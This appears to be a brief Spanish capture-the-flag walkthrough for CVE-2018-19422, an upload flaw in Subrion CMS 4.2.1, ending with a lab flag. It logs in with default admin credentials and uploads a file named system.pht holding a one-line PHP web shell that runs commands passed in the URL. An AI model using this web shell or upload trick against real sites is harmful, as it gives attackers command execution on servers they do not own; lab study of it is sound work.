Spring Cloud Mirror: CVE-2018-19422 (Subrion CMS 4.2.1 tiene una vulnerabilidad de carga de archivos)

1. Título

 Introducción al objetivo:

Subrion CMS 4.2.1 tiene una vulnerabilidad de carga de archivos

Ingrese al tema:

administrador/administrador 

  Haga clic en Configuración:

 Página de inicio de gestión de backend:

 Subir página:

Cargar directorio:

/panel/subidas/

  Ver ubicación de carga:

system.pht

<?php system($_GET[1]);phpinfo();?>

 Ubicación de carga:

 cargas/system.pht

 bandera{24505f02-d430-4d3b-905e-17349e09c34c}